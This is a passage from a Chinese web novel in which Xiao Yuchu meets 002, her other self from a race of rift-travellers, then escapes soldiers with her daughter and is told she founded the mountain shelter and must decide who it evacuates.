就在这时，一个强有力的力量抓住了肖与楚的胳膊，把她猛地往下一拽，拽进一个漆黑的深渊，那深渊看不到尽头。肖与楚只感觉到身体在下坠，一直不停地坠，失去重心，头昏脑胀，即便她拼命挣扎，都没有任何作用。 呼啸而过的风让她睁不开眼睛，等她再次睁开眼的时候，只发现周围只剩下猩红色和淡绿色的气体环绕。 她被困住了。 “小野，你醒醒！”肖与楚看到小野漂浮在半空中，还保持着睡眠的姿势，有点着急。 “你叫她干什么？”一张和肖与楚一模一样的脸，从猩红色的气体之中走了出来，“你应该很清楚，她不是你的女儿。” 声音也和肖与楚一样，只是她的声音更加冷峻、听起来也更加无情。 “你是……？” “我就是你，你就是我。” “不……可能……肖与楚头痛欲裂，有一股力量在她脑海中撕扯，这种力量似乎能把她瞬间撕成碎片。 “别挣扎了，我已经隐藏在你身体里太久了，本来很长的时间里，我是不准备出来的，但是你现在的情况，我不出来，我们都得一起死。”那女人说。 肖与楚伸手去抓她，但那人的脸烟消云散般消失了，她的身影和声音都像鬼魅一样，在这四周游荡。 “我不太明白你的意思，你一直藏在我的身体里，没有任何独立的意识？那我又是谁？” “我说过了我就是你，你就是我，我们不过是同一个人的一体两面。” “你的意思是……我是人格分裂？”肖与楚说出来后，又觉得有点可笑。 这个问话让对方的声音在这个空间中沉默了一会儿。过了几秒钟，那张脸突然又出现在了肖与楚眼前，那张冷漠的脸吓了她一跳。 “你如果想这么理解，也可以。但实际上，跟你所说的人格分裂有所不同，这些我之后跟你解释，我现在要说的，是我来到这个时空的原因。” “你现在还有空说这些乱七八糟的……你没看见我现在正在逃命吗？”肖与楚无奈地擦了擦额头上的汗。 “放心吧，我们已经在裂缝之中了，没有人能进来这个地方。”那人道。 在裂缝之中？难怪周围全是涌动的气体，肖与楚松了口气，但马上又紧张起来，在裂缝之中算是什么好事吗？ “我的编号是002，你姑且叫我002。我们这个种族成长于多重时空的缝隙之中，没有时空能容纳我们，于是便滋生了邪恶的本质。在数万年的成长之中，我们逐渐能打开各个时空之间的缝隙，也经常利用这些缝隙做一些不合适的勾当。” “什么不合适的勾当？” “各个时空的社会发展阶段不同，我们利用这种差异，就能获得巨大的利润，也能获得很多生存空间。刚开始种族很克制，但随着时间的推进，大家变得越来越贪得无厌，有一部分人甚至以打开时空裂缝为乐趣。” “呵，人性……” “我曾经也是个贪得无厌的人，后来一个时空的人全都因为我的贪婪覆灭了。” 肖与楚：“……你倒是很诚实。” “我说过啊，我就是你，你就是我，与其说我诚实，不如说你在坦诚面对内心真实的自己。” 不，我不是你，不过肖与楚没把这句话说出口。 “所以你是因为良心发现，所以才到这个时空的？” “不全是因为良心发现。而是因为时空管理局的人抓到了我。” 肖与楚：“小野那个时空的人？” “没错，他们想找到我们种族的秘密，在那里的日子，他们把我折磨得够呛。后来我逃走了，各种辗转，躲到了这个时空，没想到你们的时空也发生了这种事。” “所以……我们的时空变成这样是因为你？” “也许吧。我还没弄清楚幕后黑手是谁。这不怪我，毕竟我们俩是一体，你还在逃命，我哪里有功夫去弄清楚这些事？” “你今天出来，就是为了跟我说这些？” “当然不是，我来只是为了告诉你一件事，出于不得已的原因，我们俩以后必须共存。” “如果我不愿意呢？” “你没得选。” 一阵呼啸的风从肖与楚的脸颊掠过，她感到头疼得更加厉害了，好像有成千上万只虫子在啃噬她的头脑和身体，那种钻心的痛几乎要把她撕裂。 出于本能，她不想让眼前这个人控制自己的身体。 “你放开我！”她大叫道，“你还没经过我同意……” * “你们放开我！我要进去！”朱博士用力挣扎，想要上前一探究竟，但是却被几个士兵拦了下来。他的目光却难掩兴奋之色，屏幕上这团异常涌动的气流，让他嗅到了一丝不一样的味道。 “朱博士，你捅了这么大篓子，还有脸在这儿叭叭。”一个脸色阴沉的中年男人冷冷地盯着朱博士，他眉目之间略有一丝不耐烦。 在他们的前方，已经拉出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一条警戒线，警戒线里是一个空旷的操场，操场边缘有一个白色小房子。 “不，蒋总，这是重大突破，这证明我的实验是成功的。”朱博士兴奋得脸都变红了。 “突破？”蒋帅奇的腔调依旧没什么起伏，“这跟你的实验有个鸡毛关系？庇护所从来没出现过时空裂缝，你看看现在这团气流有多大？你是想让所有人都死在这里？” “不不不，”朱博士看到蒋帅奇的目光，眼神逐渐流露出复杂的情绪，既有害怕，但也有发现新大陆的兴奋，“它之所以出现在这里，一定有原因……我敢肯定！” “你肯定个锤子！”啪的一声，蒋帅奇的巴掌就甩在了朱博士的脸上，打得朱博士两眼发蒙，“要是出了什么事，你吃不了兜着走！” “蒋总……”朱博士言辞恳切，“你要相信我，肯定是因为我猜对了。她是神，她是能解救这个世界的神！” “妈的，傻X！”蒋帅奇白了胡言乱语的朱博士一眼，示意其他人把这个疯子抬走。 “不，我不走，我要进去！”朱博士继续挣扎，他的挣扎在几个人高马大的士兵面前显得很无力。 这时又有一个五十岁出头的男人带着人急匆匆地赶了过来，看到屏幕上出现的异常，他也吃了一惊。 “蒋总，这……是什么情况啊？”来人满头大汗，受刺激不小。 “周镇长，你又不是没长眼睛，不会自己看？”蒋帅奇旁边的一个人冷淡道。 “这……这……”被叫做周镇长的男人手足无措，一时不知道怎么办才好，“蒋总，怎么办啊？要是真出事儿，那些大佬们肯定会把我杀了。” “你慌什么，这不还没事儿吗？通知其他人，先把核心区锁了。” “锁了？那我怎么跟最高长官说？那个古怪的影子还没抓到，现在又多出来这个……” “就说我们在围猎影子，等抓到了就解封。” 周镇长恍然大悟般点了点头，他走了几步，又撤了回来，问道：“但什么时候才能抓到呢？” 蒋帅奇白了周镇长一眼，继续盯着屏幕上的那团气流。 周镇长自讨没趣，悻悻地离开了。 朱博士见状立即又扯着喉咙喊道：“蒋总，你就让我进去吧，你……你看这情况，一定是那个女的干的，它如果我们让她为我所用，一定能成为如你所愿，成为这里的老大。” 啪—— 朱博士的脸上又挨了火辣辣的一耳光，他眼冒金星。要不是有人扶着，就该倒下去了。 “你他妈瞎说什么呢你！这里的老大有且只有一个，别他妈把我往火坑里送。”蒋帅奇啐了口唾沫，又对其他人说道：“放他进去，我倒要看看这老小子搞什么鬼。” 朱博士得到了指令，挣开士兵的胳膊，激动地往前跑去，在他视线之内，其实和平日里什么两样，只不过是一个普通的小房子而已，但他知道他所希冀的秘密也许就在那里。 朱博士不由得加快了脚步，眼看着我距离越来越近，突然一团灰褐色的烟冒了出来，他的速度奇快，朝着他的头飞了过来。 46. 046 “啊——”朱博士的尖叫声还没来得及喊出来，就熄火了。 在远处目睹一切的蒋帅奇目光一凛，示意周围的人警戒，那团灰烟变得越来越大，包裹住了朱博士。 “蒋总，咱动还是不动？”又是他身旁那个人开口了。 “动什么动？”蒋帅奇的耳朵动了动，他随即看向球场另一侧，“看见没，他们来了。” 果不其然，有一队穿着制服的人已经站在了操场另一侧，他们的状态一看就与其他人不同，各个身材挺拔不说，还全副武装，看起来应该是受过专业的训练。 这队人为首的是一个身材高大的年轻男性，他长相周正，目光如炬，对眼前的怪异景象表现得很镇定。 “窦队，蒋总在那儿呢，咱们要上吗？” “这还用问，以咱们窦队的性格，肯定是要上的。” “但这东西咱们还没摸清底细啊，他们都说这东西跟弘愿寺有关，万一……” “这还有万一吗？大佬怪我们，我们还有活路？” “有什么活路不活路的，本来我们这些人在这种末日里能活下去，没想到在这种地方受窝囊……” “少说两句。”窦非打断了这个人的说话。 所有人立即禁了声。 窦非这队人，各个能力突出，但平日里却很少出外务，主要负责维护核心区的安全和稳定，鉴于这里都住着各种大佬，脾气好的没几个，自然也是受了不少气。他们心中积怨已久，但却无法改变这种局面。 窦非默默地注视着操场上的景象，这几天他们都在追踪这个影子，可这个东西行踪不定，太难捉摸，不仅可以毫无踪迹，也可以变得巨大无比，近到核心区几个边缘区人的死亡，远到弘愿寺死得那些人的死恐怕都跟它有关。 真是个大麻烦，他暗自思忖。 “窦队，操场上好像还有其他的东西。”这时一个后排的女兵说道。 窦非眯了眯眼睛。 “什么东西？”有人问。 “应该是……”女兵神情陡然一怔，“可能是……裂缝。” “裂缝？”这一下所有人都愣住了。 “你认真的吗？这个地方有时空裂缝？” “我能感应得到。” “不可能。空白之地不可能有时空裂缝。” “有什么不可能的，几个月前我们谁能想到这个世界会走到这个地步。” …… 窦非神情微动，他的目光里自然没有什么时空裂缝之类的东西，但那团灰色的影子，他却看得一清二楚，还有被那团影子包围的朱博士，他的身影也隐约可见。 必须尽快把眼前的麻烦解决掉。 “上吧。”窦非对其他人说道。 “明白。”所有士兵齐齐回答。 但就在众人准备出动的那一刻，那团灰色的烟突然凭空消失了，朱博士一个人直直地立在那里，几秒后，就像一堵墙一样倒在了地上。 紧接着一道白光一闪，一个背着孩子的女人凭空出现了。 “砰砰砰——” 从蒋总那边传来了突兀的枪声，那枪子儿显然是冲着那个女人去的，但那个女人却毫发无伤，稳稳地站在了那里。 过了片刻，窦非看到她淡然地低头看了看胸口，然后似乎叹了口气。 “这是谁……” “不知道啊，这帮人做事什么时候跟我们说过？” “这女的肯定很强。” “如果是从时空裂缝里出来的我们得小心了。” “她朝我们这边来了。” …… 士兵出于本能拿起武器警戒。其实也不一定非需要武器，除了窦非这帮人多少都有点异能，只是单纯要对付一个自愈能力强的女人，没什么问题。 肖与楚也看到了这帮人，尤其是为首的窦非，她第一眼就觉得这个人一脸正气，跟操场另一边的人很不相同。 不如赌一把。 “你们跟那边那些人，不是一伙儿的吧？”肖与楚问窦非。 “你是谁？”窦非身边的人问。 “你们先回答我的问题。” 窦非打量肖与楚，发现她身上有好几个弹孔，弹孔还在流血，但这些弹孔对她没多大的影响。除此之外，她的身上还有一些陈旧伤痕。 “不是。”窦非回答道。 “那就好。”肖与楚长舒了口气，“你们能不能帮我个忙，拦住他们，我不想让我的孩子被拿去做实验。” “我们凭什么帮你？”人群中有人说道。 “难道你们忍心看着一个孩子被他们杀死吗？” 众人表情各异。 肖与楚又对窦非说：“他们马上就要过来了，我和孩子要是落到他们手里，一个都活不了，求你们。” 窦非沉默片刻，才扫了一眼急匆匆赶过来的蒋帅奇一伙人。 “周云，李晋，你们跟我留下来拦住他们，其余人带她走。” 肖与楚冲窦非投去一个感激的眼神，但两人还没来得及眼神交换，她就被几个高大的士兵围了起来。这些人动作很专业，他们簇拥着肖与楚，其中一个女兵给大家做了个手势，众人就快速裹着肖与楚和小野往后退去。 肖与楚看不到窦非的身影，她不知道他会怎么拦下那些人，也不知道接下来会发生什么事，不过事到如今，只能走一步看一步。 “你们老大叫什么名字？”她问那个女兵。 “窦非，窦队。” “你们是什么人？” “连我们是什么人都不知道就敢跟我们走？女兵说着看了一眼肖与楚身上的伤口，她暗暗吃惊眼前这个女人有如此强的恢复能力。“你不会打什么坏主意吧？” “当然没有，我除了这点能力，也没什么别的本事了。” “是吗？”女兵的表情看起来似乎不信。 肖与楚一路跟着这一队到了一栋平房跟前，才停了下来。女兵把她们俩安排在客厅里，就出去了。 肖与楚看了一眼眼前这个屋子，不过是很寻常人家的客厅，她把小野放在了沙发上，由内而发地吐了口气。 “……发生什么事了？”小野醒得不早不晚，她看到了个陌生的地方，眼里露出困惑的神色。“妈妈……我们在什么地方？” “发生了很多事，我们现在跟一队很危险的人在一起。” 肖与楚想了一会儿，简单说了下一上午发生的事。 小野听完后吃惊地张大了嘴巴，她道：“所以，现在妈妈已经真的成为裂缝控制者了？” “可以这么说，不过，她说我的能力要等几天才能恢复，所以我们现在需要人保护。”肖与楚回答。 小野往后缩了缩：“那之后……你会不会杀了我？” “我为什么要杀了你？” “我听说……你……本来很坏。” 肖与楚脑海里浮出一些不好的记忆。 理论上来说，她现在已经不是她自己了，两种意识已经在她的脑海里融合，她已经能清晰地了解过去发生的一切。但还有些记忆片段，似乎不那么清晰。 她丢失了某一部分的记忆。 “我不会杀你的，我和她不一样。” 肖与楚这么回答，让本来惊恐的小野放心了不少。 她沉默片刻道：“妈，我的包不要紧，他们打不开，等有机会拿回来就好了。” 肖与楚点了点头，她有一种直觉，那个叫窦非的男人很快就会回来。 果然如她所料，门外就传来了笃笃笃的脚步声，没等她站起来，窦非就走进来了，他的手里居然还拿着小野的包。 “这是你们的？”他一进门就问。 “是……”肖与楚纳闷为什么这个包会拿在窦非手里。 “我从实验室拿的。” 肖与楚起身接过小野的包，说道：“谢谢你。” 窦非冷着脸，什么都没说，但似乎有什么话想问。 “你想说什么就直说吧，我不会隐瞒的。” “朱博士还没死。” “他没死？” “没错。只不过受伤严重，需要些时间休养。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “哦，那可惜了。”肖与楚感叹道。 窦非眉头微皱：“他虽然精神不正常，但在这个时代，能正常工作的科学家不多了，我们还需要他。” 肖与楚一股郁结之气从胸中涌了上来，她深呼吸了几下，才压了下去。 “理解。”她道。 “我很抱歉他对你做的事。”窦非继续说，“但是现在庇护所面临着前所未有的困难，每个人才都很珍贵。” “嗯……”肖与楚不明白窦非跟自己说这些干什么。 “我已经听他们说了你在这里经历过的事，我对你的来历不好奇，只有一个问题想问你，你要不要入伙？” “入什么伙？”肖与楚一头雾水。 “和我们一起保护这里的居民。” “啊？”肖与楚没想到窦非会提出这种要求，她露出匪夷所思的眼神，“你是认真的吗？” “当然，你可以考虑，但我能给你的时间不多了。” 肖与楚盯着窦非的脸，他眼睛里看不出什么明显的情绪起伏，但语气却异常肯定，肯定不是在开玩笑。 “我想知道，为什么让我入伙？” “庇护所最近遇到了危机。刚刚那个灰色的烟团是其一，第四区遇到了飞虫的威胁，还有……” “还有什么？” “最边缘地带似乎在受到外面气候的影响。” “你的意思是，这里不再安全了？” “这只是猜测。” 肖与楚沉思了片刻。 “你的能力非常强大，我们需要你。” “你不要抬举我了，我没有那么大能耐。”肖与楚连连摆手，她不是谦虚，而是因为还不知道何时会恢复能力，贸然背负这么大的责任，纯纯是给自己找麻烦。 “我说了，你可以考虑，你考虑清楚了，我就带你去见该见的人。” “见谁？” “庇护所的最高长官。” 山上巨大的风叶发出来嗡嗡嗡的声音，肖与楚看着高耸的风力发电机有些出神，这样和谐的美景，让她有一瞬间的错觉：一切都没变，还是以前那个世界。 但是窦非犀利的眼神，很快就把她拽回了现实。 这里是一个山洞洞口，洞门大约一车道宽，灰色金属门紧闭。门口岗亭里站着几个穿着随意的人。 窦非冲他们点了点头，便走到大门前，扫了虹膜。几秒后，金属门打开了，他示意肖与楚和小野先进门。 洞里光线充足，洞顶的白炽灯隔几米一盏，墙上竟然还颇为雅兴地挂了几张装饰画。 肖与楚有些犹豫。 “放心，不会害你的。”窦非说。 肖与楚深呼吸了口气，才踏进了门。 洞里很安静，沿着走廊往里走，很快就来到了一个开阔的空间，这里有好几扇军绿色的门，通往不同的区域。 窦非在前，将肖与楚引进了一扇编号为001的门，直走、拐弯、上台阶……又走了很久，来到另一个巨大无比的空间。 肖与楚吃惊地瞪大了双眼，眼前的一切都让她感到似乎来到了另一个时空，这个空间分为很多层，每一层都停放着超越这个时空科技发展的飞行器，飞行器通体透黑，在灯光映衬下，闪烁着诡异的光芒。 “这是……” “仓库，整座山都是。” “这些东西哪儿来的？” “很久以前就在了，据长官说，他也不知道从哪儿来的。”窦非看向一层的深处，这时，一层深处的一扇小门打开了，一个佝偻的身影走了出来。 他走得很慢，身后还跟着两个高大的……保镖？ 很快，肖与楚就看清了那个身影的脸，他是个老头，脸上皱皱巴巴，头发雪白，手里还杵着一个表面光滑的木质拐杖。 肖与楚很难想象这里的最高长官居然是一个这样羸弱的老头。 老头战战巍巍地走到了肖与楚面前，盯着她的脸端详了好一会儿，才展露出一个神秘莫测的微笑。 “终于等到你了。”他幽幽地说道。 47. 047 “你应该不认识我了吧？”老头声音沧桑浑浊。 肖与楚摇了摇头。 “这不奇怪，很多年前，你就说过过去的一部分记忆对你来说是个负担，你觉得忘了会比较轻松。”老头笑了，“我叫窦远程，叫我老窦就行，窦非是我的孙子。” “我们真的见过吗？”肖与楚还是很怀疑，她的记忆到底丢失了哪一块？如果他们真的见过，又是在什么时候？“请问是多少年前？” “七十年前的事情了，那时候我才二十出头。” 肖与楚头晕目眩，这意味着她七十年前就已经到了这个时空了？ “正如你所想，你在七十多年前就已经来了，你们这个种族，有一个特点，就是思想可以共享，所以……” “啊？”还没等窦远程把话说完，肖与楚和小野几乎异口同声。 这反应似乎在窦远程意料之中。 “你知道这个事儿吗？”肖与楚问小野。 小野摇了摇头。 “这小丫头跟你是什么关系？”窦远程打量着小野。 肖与楚答道：“她是我女儿。” “你竟然有孩子了？”窦远程似乎有些震惊，“看来这些年的确发生了不少事。” 肖与楚懒得解释，她接着上一个问题问道：“你刚刚说我们可以思想共享，但我的脑海里却从未有过这样的痕迹，也没感知到其他人。” “这很正常，思想一旦可以共享，就代表踪迹也可以共享，你为了断绝和你们种族的联系，所以采取极端的方式除去了这种共享，这种方法也影响了你的大脑，让你在漫长岁月中丢失了很多记忆。” “是吗？”肖与楚半信半疑，“那我跟你是怎么遇见的？” “这就说来话长了，那时候我还很年轻啊，在这一片当护林员，整天都在巡山，我记得那一天在下雨，我在山上碰到了你，当时你似乎很迷茫……” “我吓了一跳，要知道，在这片山上从来没有出现过什么人，更何况还是个女人。”老窦的声音在这个空间里回荡，所有人都默默地听着。 “当时你全身都湿了，一双眼睛就跟现在一样，很警惕，我问了你为什么在这里，你说你在这里藏了很重要的东西。” “那时候我年轻啊，还以为是一些什么金银珠宝之类的东西，没想到竟然眼前这些庞然大物。” 窦远程看着周围的这些东西悠长地舒了口气。 “你刚开始并不信任我，我也是机缘巧合才获得了你的信任，被你带到了这里。你把这些东西交到了我手上，还给我留下了一些重要的日记，日记上说，这个世界终究会迎来毁灭，到时候余北镇这个地方或许能幸免于难，你让我好好建设这里，把它当做一个庇护所。” 说到这里窦远程无奈地笑了。 “你说这些的时候，我是一点都不信呐，差点把你当疯子处理，但后来我看到这里藏着的东西又不得不信。以一个凡夫俗子的力量，怎么可能把一座大山变成这副模样。你说对吧？” 肖与楚嘴唇蠕动，欲言又止。 “你在这里待了一段时间，情绪每天都很反复，记忆也时有时无，后来，你说你必须隐姓埋名一段时间，让我帮你看好这里。 而作为我看守这里的报酬，你给了我发家致富的方法。” “啊？”肖与楚终于还是从喉咙里发出了一声惊叹，她只是不敢相信既然有这种好事为什么让她自己白白受苦了这么多年。 “我信了你的话，获得了很客观的财富，也帮忙在这里守了七十年，建立了这个庇护所。今天终于是把这一切交回到你手里的时候了。” “你的意思是，这个庇护所都是我让你建立的？” “嗯。” “但是我一点印象都没有。” “也许是因为你曾经尝试过抹去了自己的记忆，那些重要的记忆在你的脑海里不断消失。”老窦分析道。他挥了挥手，示意身旁的人拿出东西，那人在怀里掏了掏，掏出一枚六边形黑色金属块以及一本灰色封皮的日记本。“这些都是你当初给我的东西，现在我物归原主。” 肖与楚看着窦远程递过来的东西，有一丝慌乱，这些东西都是她留下来的，但她怎么毫无印象呢，即便脑海里充斥着很多新涌进来的记忆，但对眼前这两个实物，她却极度陌生。 她纠结了一会儿，将那两样东西，从窦远程手里接了过来。 “这个……是什么？”肖与楚问。 “打开这里的钥匙。”窦远程回答道，“这里已经不再安全了，所有的人都要离开。但是，我计算过，这个地方所有飞行器的运力，只够5000人，也就是说还有几万人无法离开。” “所以，你让我来决定谁走谁留？” “这本来就是你应该决定的事。” “从这里离开后，我们又该去哪里呢？这个世界为什么变成这个样子，我还一无所知。” “也许你能从日记里找到答案。” 肖与楚来到了巨大空间边缘的一间办公室，阅读起了那本日记。 起先，她的脑海里很乱，心思根本无法放在眼前这本日记上，也是，谁能在见到如此场面后还能保持波澜不惊的态度呢。 而且，最重要的是，她看了一眼桌上的黑色六边形钥匙，现在整个庇护所的命运都在她手里，光是这件事就让她手脚发麻了。 不管未来发生什么事，还是要先看完这本日记再说。 她吁了口气，将视线集中在眼前的日记上，扉页上写着002几个阿拉伯数字。 第一页。 我已经在各个时空穿梭很多年了，有时候也会恍惚，现在所处的是哪个时空，又是哪一年呢？按照我们的历法，现在是5028年，但是这个时空的纪年却不到2000年，进化的差距如此之大，以至于我在这里感受到了久违的平和。 但这里的人大概不这么认为吧。战争、饥饿、死亡绵延整个时空，只是比起时空灭绝来，这都算不了什么了…… 第二页。 我的记 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忆总是时断时续，被时空管理局抓走之后，发生了很多事情，他们提取了我的基因，又给我注射了一些不知道的药物，导致我的神经变得异常的脆弱。这些人，为了所谓的正义也没干什么好事。 第三页。 我消除了和种族的联系，至少，他们还需要一些时间才能找到我。 第四页。 我弄到了一些非常重要的物资，是从一个快覆灭的时空弄来的。我把它们藏在了这个时空的一座大山里，总感觉将来的某一日可能会用得着。 是我的错觉吗？ 第五页。 这个时空现在比想象中要平静许多，我已经想好了以后的生活该怎么过，在这里当普通人，把记忆人格封闭起来。 至于这里的东西，我想交给一个信得过的人保管。 …… 第二十八页。 一切都安排妥当了，明天我就离开。也许他们有一天还是会找到这里，那时候我可能已经拥有了一个新的身份，新的人格。我能顺利找到这个地方吗？这个时空会不会也覆灭？ 但愿那一天晚一点到来。 …… 肖与楚一边看一边直起鸡皮疙瘩，可是在这本日记里，还是没写清楚到底要去什么地方，，那些丢失的记忆在这里也没有任何记载。 她合上了日记本，盯着日记本的封皮发了会儿呆。 “就这些了？”她问窦远程。 “我知道的就这些了。我已经完成了我的使命。”窦远程说着看向窦非，“我不知道你什么时候来，所以一直培养我的儿子和我的孙子，但我儿子倒霉，人到中年出车祸死了，现在就剩下窦非，你想怎么用他就怎么用他。 肖与楚沉默。 窦远程又道：“虽然窦非只是个普通人，但是他很聪明，身体素质也好，肯定能帮上你的忙。” 肖与楚明白窦远程的意思，他希望自己能保护窦非，但是她现在根本没心思回答这种问题，这里有三万人，三万人啊，带走五千人算怎么回事。 “爷爷，我可以保护自己。”窦非在一旁冷淡说道。 “今时不同往日了，”窦远程叹气，“如果是以前我绝对放心，但现在你看看，区区一个几万人的地方，每天发生多少事。核心区的那些人，指定了多么等级森严的规矩，外面的管委会又层层压下去，末日规则比我这个老头子想象中的还要残酷。” “但你不是最高长官吗？”肖与楚插嘴道。 “我虽然是最高长官，但毕竟只是个普通人，在这种时代，时间越长，不服的人也就越来越多，我和窦非的关系也迟早会暴露。” “所以外面的人不知道你们是爷孙关系？” 窦远程摇了摇头。 “眼下庇护所的危机越来越多，急需一个有能力的人挑起大梁，而这个人只能是你。” 肖与楚再次沉默了。 “我必须尽快召开一次会议，让大家知道你的存在，而你也必须向大家展示你的实力。”